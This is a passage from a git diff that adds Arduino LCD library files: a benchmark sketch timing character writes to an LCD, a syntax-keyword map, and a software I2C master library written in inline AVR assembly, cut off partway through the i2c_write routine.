Arduino's SDK version 1.0 +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Contribution by flo - Florian@Fida.biz - for benchmarking SR +// --------------------------------------------------------------------------- +#include + +//#define _LCD_I2C_ +#define _LCD_SI2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_SI2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + +#ifdef _LCD_SR1_ +#include +#endif + +// C runtime variables +// ------------------- +#ifdef __AVR__ +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; +#endif + +// Constants and definitions +// ------------------------- +// Definitions for compatibility with Arduino SDK prior to version 1.0 +#ifndef F +#define F(str) str +#endif + +/*! + @defined NUM_BENCHMARKS + @abstract Number of benchmarks in the project. + */ +#define NUM_BENCHMARKS 4 + +/*! + @defined ITERATIONS + @abstract Number of benchmarks iterations to perform. + */ +#define ITERATIONS 10 + +/*! + @defined LCD_ROWS + @abstract LCD rows + @discussion Defines the number of rows that the LCD has, normal LCD ranges are (1, 2, 4). + */ +#define LCD_ROWS 2 + +/*! + @defined LCD_COLUMNS + @abstract LCD available columns + @discussion Defines the number of colums that the LCD has, normal LCD ranges are (8, 16, 20). + */ +#define LCD_COLUMNS 16 + +/*! + @const Pin constant definitions + @abstract Define several constants required to manage the LCD backlight and contrast + */ +#ifdef _LCD_I2C_ +const int BACKLIGHT_PIN = 12; +const int CONTRAST_PIN = 0; // none +const int CONTRAST = 0; // none +#endif + +#ifdef _LCD_SI2C_ +const int BACKLIGHT_PIN = 3; +const int CONTRAST_PIN = 0; // none +const int CONTRAST = 0; // none +#endif + +#ifdef _LCD_4BIT_ +const int CONTRAST_PIN = 9; +const int BACKLIGHT_PIN = 7; +const int CONTRAST = 120; +#endif + +#ifdef _LCD_SR_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR1_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR3W_ +const int CONTRAST_PIN = 0; // none +const int BACKLIGHT_PIN = 5; +const int CONTRAST = 0; +#endif + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. + */ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 } +}; + +/*! + @typedef t_benchmarkOp + @abstract Function pointer associated to each benchmark. + */ +typedef long (*t_benchmarkOp)( uint8_t ); + +/*! + @typedef t_timeBenchMarks + @abstract Structure to store results of the execution time of the benchmark. + @field benchmark: function pointer of the benchmark to be executed. + */ +typedef struct +{ + t_benchmarkOp benchmark; /**< Function pointer associated to the benchmark */ + long benchTime; /**< execution time for benchmark 1 in useconds */ + uint16_t numWrites; /**< Number of write cycles of the benchmark */ +} t_benchMarks; + + +// Main LCD objects +// ---------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_SI2C_ +LiquidCrystal_SI2C lcd(0x4e,2,1,0,4,5,6,7); +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2); +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +#endif + +#ifdef _LCD_SR1_ +LiquidCrystal_SR1 lcd(2); +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +#endif + +// benchMarks definitions +// ---------------------- +extern long benchmark1 ( uint8_t ); +extern long benchmark2 ( uint8_t ); +extern long benchmark3 ( uint8_t ); +extern long benchmark4 ( uint8_t ); + +//! @brief benchmark structure that will be initialised and +static t_benchMarks myBenchMarks[NUM_BENCHMARKS] = +{ + { benchmark1, 0, (LCD_ROWS * LCD_COLUMNS) + 2 }, + { benchmark2, 0, LCD_ROWS * LCD_COLUMNS * 6 * 2 }, + { benchmark3, 0, 40 + 2 }, + { benchmark4, 0, 40 + 2 } +}; + +// Static methods +// -------------- +/*! + @function freeMemory + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @return Free RAM available, -1 for non AVR microcontrollers + */ +static int freeMemory ( void ) +{ +#ifdef __AVR__ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +#else + return -1; +#endif + +} + +/*! + @function LCDSetup + @abstract Initialise LCD associated pins and initialise the LCD object + with its geometry. + @discussion Initialise the LCD object and make it ready for operation by + setting up the LCD geometry, i.e. LCD character size. Initialise + and configure all associated control pins such as backlight and + contras pin if necessary. + + @param[in] charBitmapSize: contrasts pin associated to the contrast (should be an + analog pin). 0 if contrast pin is not required. + @param[in] backlight: backlight pin associated to the LCD backlight. + @param[in] cols: number of LCD columns normal values (1, 2, 4) + @param[in] rows: number of LCD rows normal values (8, 16, 20) + */ +static void LCDSetup ( uint8_t contrasPin, uint8_t backlight, uint8_t cols, uint8_t rows ) +{ + // If our setup uses a PWM to control the backlight, configure it + // -------------------------------------------------------------- + if ( contrasPin != 0 ) + { + pinMode ( contrasPin, OUTPUT ); + analogWrite ( contrasPin, CONTRAST ); + } + // Setup backlight pin + /*if ( backlight != 0 ){ + pinMode(backlight, OUTPUT); + digitalWrite(backlight, HIGH); + }*/ + + lcd.begin ( cols, rows ); + lcd.setBacklightPin(3, POSITIVE); + lcd.setBacklight(HIGH); + lcd.clear ( ); +} + + +/*! + @function LCDLoadCharacters + @abstract Loads onto the LCD the character set for the benchmark. + @discussion Loads onto the LCD the character set that will be used throughout + the benchmark. + + @param[in] charBitmapSize: number of characters to load to the LCD. + */ +static void LCDLoadCharacters ( int numChars ) +{ + // Load custom character set into CGRAM + for ( int i = 0; i < numChars; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + + +// Benchmarks +// ---------- +/*! + @function benchmark1 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + memory. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark1 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + lcd.print (char(5)); + } + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark2 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory one line pixel at the time + @discussion Writes to all the positions of the LCD a fixed pattern from + memory each patern take 6 write operations to the LCD. For every + character it writes it sets the cursor possition. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS * 6. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark2 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j, k; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + + for ( i = 0; i < LCD_ROWS; i++ ) + { + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + for ( k = 0; k <= 5; k++ ) + { + lcd.setCursor ( j, i ); + lcd.print (char(k)); + } + } + } + totalTime += ( micros() - time ); + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark3 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + RAM. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark3 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( "####################" ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark4 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + flash. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark4 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( F("####################") ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +// Main system setup +// ----------------- +void setup () +{ + Serial.begin ( 57600 ); +#ifdef __AVR__ + Serial.print ( F("Free mem: ") ); + Serial.println ( freeMemory () ); +#endif + + // Initialise the LCD + LCDSetup ( CONTRAST_PIN, BACKLIGHT_PIN, LCD_COLUMNS, LCD_ROWS ); + LCDLoadCharacters ( (sizeof(charBitmap ) / sizeof (charBitmap[0])) ); +} + + +// Main system loop +// ---------------- +void loop () +{ + int i; + + lcd.setCursor ( 0, 0 ); + lcd.clear ( ); + + // Run benchmark + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + myBenchMarks[i].benchTime = + (myBenchMarks[i].benchmark (ITERATIONS))/ITERATIONS; + Serial.println (i); + } + + float fAllWrites=0.0; + + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + Serial.print ( F("benchmark") ); + Serial.print ( i ); + Serial.print ( F(": ") ); + Serial.print ( myBenchMarks[i].benchTime ); + Serial.print ( F(" us - ") ); + Serial.print ( F(" write: ") ); + Serial.print ( myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites ); + Serial.println ( F(" us") ); + fAllWrites += myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites; + } + Serial.print( F("avg. write: ") ); + Serial.println( fAllWrites / (float)NUM_BENCHMARKS ); + } \ No newline at end of file diff --git a/libraries/NewliquidCrystal/keywords.txt b/libraries/NewliquidCrystal/keywords.txt new file mode 100644 index 0000000..c13f5ae --- /dev/null +++ b/libraries/NewliquidCrystal/keywords.txt @@ -0,0 +1,52 @@ +########################################### +# Syntax Coloring Map For LiquidCrystal_I2C +########################################### + +########################################### +# Datatypes (KEYWORD1) +########################################### + +LiquidCrystal_SR KEYWORD1 +LiquidCrystal_I2C KEYWORD1 +LiquidCrystal_SR3W KEYWORD1 +LiquidCrystal KEYWORD1 +LCD KEYWORD1 + +########################################### +# Methods and Functions (KEYWORD2) +########################################### +begin KEYWORD2 +clear KEYWORD2 +home KEYWORD2 +noDisplay KEYWORD2 +display KEYWORD2 +noBlink KEYWORD2 +blink KEYWORD2 +noCursor KEYWORD2 +cursor KEYWORD2 +scrollDisplayLeft KEYWORD2 +scrollDisplayRight KEYWORD2 +leftToRight KEYWORD2 +rightToLeft KEYWORD2 +moveCursorLeft KEYWORD2 +moveCursorRight KEYWORD2 +autoscroll KEYWORD2 +noAutoscroll KEYWORD2 +createChar KEYWORD2 +setCursor KEYWORD2 +print KEYWORD2 +write KEYWORD2 +println KEYWORD2 +backlight KEYWORD2 +noBacklight KEYWORD2 +on KEYWORD2 +off KEYWORD2 +setBacklightPin KEYWORD2 +setBacklight KEYWORD2 +########################################### +# Constants (LITERAL1) +########################################### +POSITIVE LITERAL1 +NEGATIVE LITERAL1 +BACKLIGHT_ON LITERAL1 +BACKLIGHT_OFF LITERAL1 \ No newline at end of file diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md new file mode 100644 index 0000000..c8d1758 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md @@ -0,0 +1,16 @@ +SoftI2CMaster +============= + +Software I2C Arduino library + +This is a very fast and light-weight software I2C-master library +written in assembler, which is based on Peter Fleury's software +I2C library http://homepage.hispeed.ch/peterfleury/avr-software.html +. It can use any pins on any AVR chip to drive the SDA and SCL lines. + +It assumes a single master and does not support bus arbitration. It +allows for clock stretching by slave devices and also can detect lock +ups of the I2C bus, i.e., if the SCL line is held low indefinitely. + +Even on 1MHz systems, you can get a transfer speed of 40 kbit/sec, so +you can use it to interface with SMbus devices. \ No newline at end of file diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h new file mode 100644 index 0000000..3ca7caf --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h @@ -0,0 +1,509 @@ +/* Arduino SoftI2C library. + * + * This is a very fast and very light-weight software I2C-master library + * written in assembler. It is based on Peter Fleury's I2C software + * library: http://homepage.hispeed.ch/peterfleury/avr-software.html + * + * + * This Library is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with the Arduino I2cMaster Library. If not, see + * . + */ + +/* In order to use the library, you need to define SDA_PIN, SCL_PIN, + * SDA_PORT and SCL_PORT before including this file. Have a look at + * http://www.arduino.cc/en/Reference/PortManipulation for finding out + * which values to use. For example, if you use digital pin 3 for + * SDA and digital pin 13 for SCL you have to use the following + * definitions: + * #define SDA_PIN 3 + * #define SDA_PORT PORTB + * #define SCL_PIN 5 + * #define SCL_PORT PORTB + * + * You can also define the following constants (see also below): + * - I2C_CPUFREQ, when changing CPU clock frequency dynamically + * - I2C_FASTMODE = 1 meaning that the I2C bus allows speeds up to 400 kHz + * - I2C_SLOWMODE = 1 meaning that the I2C bus will allow only up to 25 kHz + * - I2C_NOINTERRUPT = 1 in order to prohibit interrupts while + * communicating (see below). This can be useful if you use the library + * for communicationg with SMbus devices, which have timeouts. + * Note, however, that interrupts are disabledfrom issuing a start condition + * until issuing a stop condition. So use this option with care! + * - I2C_TIMEOUT = 0..10000 mssec in order to return from the I2C functions + * in case of a I2C bus lockup (i.e., SCL constantly low). 0 means no timeout + */ + +/* Changelog: + * Version 1.1: + * - removed I2C_CLOCK_STRETCHING + * - added I2C_TIMEOUT time in msec (0..10000) until timeout or 0 if no timeout + * - changed i2c_init to return true iff both SDA and SCL are high + * - changed interrupt disabling so that the previous IRQ state is retored + * Version 1.0: basic functionality + */ +#include +#include + +#ifndef _SOFTI2C_H +#define _SOFTI2C_H 1 + +// Init function. Needs to be called once in the beginning. +// Returns false if SDA or SCL are low, which probably means +// a I2C bus lockup or that the lines are not pulled up. +boolean __attribute__ ((noinline)) i2c_init(void); + +// Start transfer function: is the 8-bit I2C address (including the R/W +// bit). +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_start(uint8_t addr); + +// Similar to start function, but wait for an ACK! Be careful, this can +// result in an infinite loop! +void __attribute__ ((noinline)) i2c_start_wait(uint8_t addr); + +// Repeated start function: After having claimed the bus with a start condition, +// you can address another or the same chip again without an intervening +// stop condition. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_rep_start(uint8_t addr); + +// Issue a stop condition, freeing the bus. +void __attribute__ ((noinline)) i2c_stop(void) asm("ass_i2c_stop"); + +// Write one byte to the slave chip that had been addressed +// by the previous start call. is the byte to be sent. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_write(uint8_t value) asm("ass_i2c_write"); + +// Read one byte. If is true, we send a NAK after having received +// the byte in order to terminate the read sequence. +uint8_t __attribute__ ((noinline)) i2c_read(bool last); + +// You can set I2C_CPUFREQ independently of F_CPU if you +// change the CPU frequency on the fly. If do not define it, +// it will use the value of F_CPU +#ifndef I2C_CPUFREQ +#define I2C_CPUFREQ F_CPU +#endif + +// If I2C_FASTMODE is set to 1, then the highest possible frequency below 400kHz +// is selected. Be aware that not all slave chips may be able to deal with that! +#ifndef I2C_FASTMODE +#define I2C_FASTMODE 0 +#endif + +// If I2C_FASTMODE is not defined or defined to be 0, then you can set +// I2C_SLOWMODE to 1. In this case, the I2C frequency will not be higher +// than 25KHz. This could be useful for problematic buses. +#ifndef I2C_SLOWMODE +#define I2C_SLOWMODE 0 +#endif + +// if I2C_NOINTERRUPT is 1, then the I2C routines are not interruptable. +// This is most probably only necessary if you are using a 1MHz system clock, +// you are communicating with a SMBus device, and you want to avoid timeouts. +// Be aware that the interrupt bit is enabled after each call. So the +// I2C functions should not be called in interrupt routines or critical regions. +#ifndef I2C_NOINTERRUPT +#define I2C_NOINTERRUPT 0 +#endif + +// I2C_TIMEOUT can be set to a value between 1 and 10000. +// If it is defined and nonzero, it leads to a timeout if the +// SCL is low longer than I2C_TIMEOUT milliseconds, i.e., max timeout is 10 sec +#ifndef I2C_TIMEOUT +#define I2C_TIMEOUT 0 +#else +#if I2C_TIMEOUT > 10000 +#error I2C_TIMEOUT is too large +#endif +#endif + +#define I2C_TIMEOUT_DELAY_LOOPS (I2C_CPUFREQ/1000UL)*I2C_TIMEOUT/4000UL +#if I2C_TIMEOUT_DELAY_LOOPS < 1 +#define I2C_MAX_STRETCH 1 +#else +#if I2C_TIMEOUT_DELAY_LOOPS > 60000UL +#define I2C_MAX_STRETCH 60000UL +#else +#define I2C_MAX_STRETCH I2C_TIMEOUT_DELAY_LOOPS +#endif +#endif + +#if I2C_FASTMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/400000L)/2-19)/3) +#else +#if I2C_SLOWMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3) +#else +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/100000L)/2-19)/3) +#endif +#endif + +// Table of I2C bus speed in kbit/sec: +// CPU clock: 1MHz 2MHz 4MHz 8MHz 16MHz 20MHz +// Fast I2C mode 40 80 150 300 400 400 +// Standard I2C mode 40 80 100 100 100 100 +// Slow I2C mode 25 25 25 25 25 25 + +// constants for reading & writing +#define I2C_READ 1 +#define I2C_WRITE 0 + +// map the IO register back into the IO address space +#define SDA_DDR (_SFR_IO_ADDR(SDA_PORT) - 1) +#define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1) +#define SDA_OUT _SFR_IO_ADDR(SDA_PORT) +#define SCL_OUT _SFR_IO_ADDR(SCL_PORT) +#define SDA_IN (_SFR_IO_ADDR(SDA_PORT) - 2) +#define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2) + +#ifndef __tmp_reg__ +#define __tmp_reg__ 0 +#endif + + +// Internal delay functions. +void __attribute__ ((noinline)) i2c_delay_half(void) asm("ass_i2c_delay_half"); +void __attribute__ ((noinline)) i2c_wait_scl_high(void) asm("ass_i2c_wait_scl_high"); + +void i2c_delay_half(void) +{ // function call 3 cycles => 3C +#if I2C_DELAY_COUNTER < 1 + __asm__ __volatile__ (" ret"); + // 7 cycles for call and return +#else + __asm__ __volatile__ + ( + " ldi r25, %[DELAY] ;load delay constant ;; 4C \n\t" + "_Lidelay: \n\t" + " dec r25 ;decrement counter ;; 4C+xC \n\t" + " brne _Lidelay ;;5C+(x-1)2C+xC\n\t" + " ret ;; 9C+(x-1)2C+xC = 7C+xC" + : : [DELAY] "M" I2C_DELAY_COUNTER : "r25"); + // 7 cycles + 3 times x cycles +#endif +} + +void i2c_wait_scl_high(void) +{ +#if I2C_TIMEOUT <= 0 + __asm__ __volatile__ + ("_Li2c_wait_stretch: \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait for SCL high \n\t" + " rjmp _Li2c_wait_stretch \n\t" + " cln ;signal: no timeout \n\t" + " ret " + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN)); +#else + __asm__ __volatile__ + ( " ldi r27, %[HISTRETCH] ;load delay counter \n\t" + " ldi r26, %[LOSTRETCH] \n\t" + "_Lwait_stretch: \n\t" + " clr __tmp_reg__ ;do next loop 255 times \n\t" + "_Lwait_stretch_inner_loop: \n\t" + " rcall _Lcheck_scl_level ;call check function ;; 12C \n\t" + " brpl _Lstretch_done ;done if N=0 ;; +1 = 13C\n\t" + " dec __tmp_reg__ ;dec inner loop counter;; +1 = 14C\n\t" + " brne _Lwait_stretch_inner_loop ;; +2 = 16C\n\t" + " sbiw r26,1 ;dec outer loop counter \n\t" + " brne _Lwait_stretch ;continue with outer loop \n\t" + " sen ;timeout -> set N-bit=1 \n\t" + " rjmp _Lwait_return ;and return with N=1\n\t" + "_Lstretch_done: ;SCL=1 sensed \n\t" + " cln ;OK -> clear N-bit \n\t" + " rjmp _Lwait_return ; and return with N=0 \n\t" + + "_Lcheck_scl_level: ;; call = 3C\n\t" + " cln ;; +1C = 4C \n\t" + " sbic %[SCLIN],%[SCLPIN] ;skip if SCL still low ;; +2C = 6C \n\t" + " rjmp _Lscl_high ;; +0C = 6C \n\t" + " sen ;; +1 = 7C\n\t " + "_Lscl_high: " + " nop ;; +1C = 8C \n\t" + " ret ;return N-Bit=1 if low ;; +4 = 12C\n\t" + + "_Lwait_return:" + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN), + [HISTRETCH] "M" (I2C_MAX_STRETCH>>8), + [LOSTRETCH] "M" (I2C_MAX_STRETCH&0xFF) + : "r26", "r27"); +#endif +} + + +boolean i2c_init(void) +{ + __asm__ __volatile__ + (" cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " cbi %[SDAOUT],%[SDAPIN] ;clear SDA output value \n\t" + " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t" + " clr r24 ;set return value to false \n\t" + " clr r25 ;set return value to false \n\t" + " sbis %[SDAIN],%[SDAPIN] ;check for SDA high\n\t" + " ret ;if low return with false \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high \n\t" + " ret ;if low return with false \n\t" + " ldi r24,1 ;set return value to true \n\t" + " ret " + : : + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), + [SCLIN] "I" (SCL_IN), [SCLOUT] "I" (SCL_OUT), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SDAIN] "I" (SDA_IN), [SDAOUT] "I" (SDA_OUT)); + return true; +} + +bool i2c_start(uint8_t addr) +{ + __asm__ __volatile__ + ( +#if I2C_NOINTERRUPT + " cli ;clear IRQ bit \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;wait T/2 \n\t" + " rcall ass_i2c_write ;now write address \n\t" + " ret" + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); + return true; // we never return here! +} + +bool i2c_rep_start(uint8_t addr) +{ + __asm__ __volatile__ + + ( +#if I2C_NOINTERRUPT + " cli \n\t" +#endif + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write \n\t" + " ret" + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),[SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); + return true; // just to fool the compiler +} + +void i2c_start_wait(uint8_t addr) +{ + __asm__ __volatile__ + ( + " push r24 ;save original parameter \n\t" + "_Li2c_start_wait1: \n\t" + " pop r24 ;restore original parameter\n\t" + " push r24 ;and save again \n\t" +#if I2C_NOINTERRUPT + " cli ;disable interrupts \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write ;write address \n\t" + " tst r24 ;if device not busy -> done \n\t" + " brne _Li2c_start_wait_done \n\t" + " rcall ass_i2c_stop ;terminate write & enable IRQ \n\t" + " rjmp _Li2c_start_wait1 ;device busy, poll ack again \n\t" + "_Li2c_start_wait_done: \n\t" + " pop __tmp_reg__ ;pop off orig argument \n\t" + " ret " + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); +} + +void i2c_stop(void) +{ + __asm__ __volatile__ + ( + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half \n\t" +#if I2C_NOINTERRUPT + " sei ;enable interrupts again!\n\t" +#endif + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); +} + +bool i2c_write(uint8_t value) +{ + __asm__ __volatile__ + ( + " sec ;set carry flag \n\t" + " rol r24 ;shift in carry and shift out MSB \n\t" + " rjmp _Li2c_write_first \n\t" + "_Li2c_write_bit:\n\t" + " lsl r24 ;left shift into carry ;; 1C\n\t" + "_Li2c_write_first:\n\t" + " breq _Li2c_get_ack ;jump if TXreg is empty;; +1 = 2C \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " brcc _Li2c_write_low ;;+1/+2=5/6C\n\t" + " nop ;; +1 = 7C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;; +2 = 11C \n\t" + "_Li2c_write_low: \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;;+2 = 11C \n\t" + "_Li2c_write_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X = 11C+X\n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;;+2 = 13C+X\n\t" + " cln ;clear N-bit ;;+1 = 14C+X\n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high ;;+2 = 16C+X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brpl _Ldelay_scl_high ;;+2 = 18C+X\n\t" + "_Li2c_write_return_false: \n\t" + " clr r24 ; return false because of timeout \n\t" + " rjmp _Li2c_write_return \n\t" + "_Ldelay_scl_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X= 18C+2X\n\t" +#endif + " rjmp _Li2c_write_bit \n\t" + " ;; +2 = 20C +2X for one bit-loop \n\t" + "_Li2c_get_ack: \n\t" + " sbi 